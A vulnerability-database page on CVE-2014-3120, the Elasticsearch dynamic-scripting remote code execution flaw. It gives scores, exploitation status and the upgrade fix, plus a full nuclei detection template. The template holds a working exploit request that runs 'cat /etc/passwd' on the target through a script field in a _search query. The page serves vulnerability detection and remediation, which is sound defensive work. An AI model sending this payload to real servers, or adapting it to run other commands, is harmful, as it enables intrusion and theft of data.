HexBrain

Browse / CVEs / CVE-2014-3120

CVE-2014-3120· elasticsearch / elasticsearch· CWE-284

ElasticSearch v1.1.1/1.2 RCE

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

mediumseverity
6.8CVSS score
88.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.

Impact

Allows remote attackers to execute arbitrary code on the affected system

Fix

Upgrade to a patched version of ElasticSearch

How to confirm it

Send: POST /_search?pretty
Positive when: contains in header "application/json" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-3120 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2014-3120

info:
  name: ElasticSearch v1.1.1/1.2 RCE
  author: pikpikcu
  severity: medium
  description: |
    The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
  impact: |
    Allows remote attackers to execute arbitrary code on the affected system
  remediation: |
    Upgrade to a patched version of ElasticSearch
  reference:
    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
    - https://www.elastic.co/blog/logstash-1-4-3-released
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3120
    - http://bouk.co/blog/elasticsearch-rce/
    - https://www.elastic.co/community/security/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2014-3120
    cwe-id: CWE-284
    epss-score: 0.88559
    epss-percentile: 0.99775
    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: elasticsearch
    product: elasticsearch
    fofa-query: index_not_found_exception
  tags: cve2014,cve,rce,elasticsearch,kev,vulhub,elastic,vkev,vuln

http:
  - raw:
      - |
        POST /_search?pretty HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: application/x-www-form-urlencoded

        {
            "size": 1,
            "query": {
              "filtered": {
                "query": {
                  "match_all": {
                  }
                }
              }
            },
            "script_fields": {
                "command": {
                    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
                }
            }
        }

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from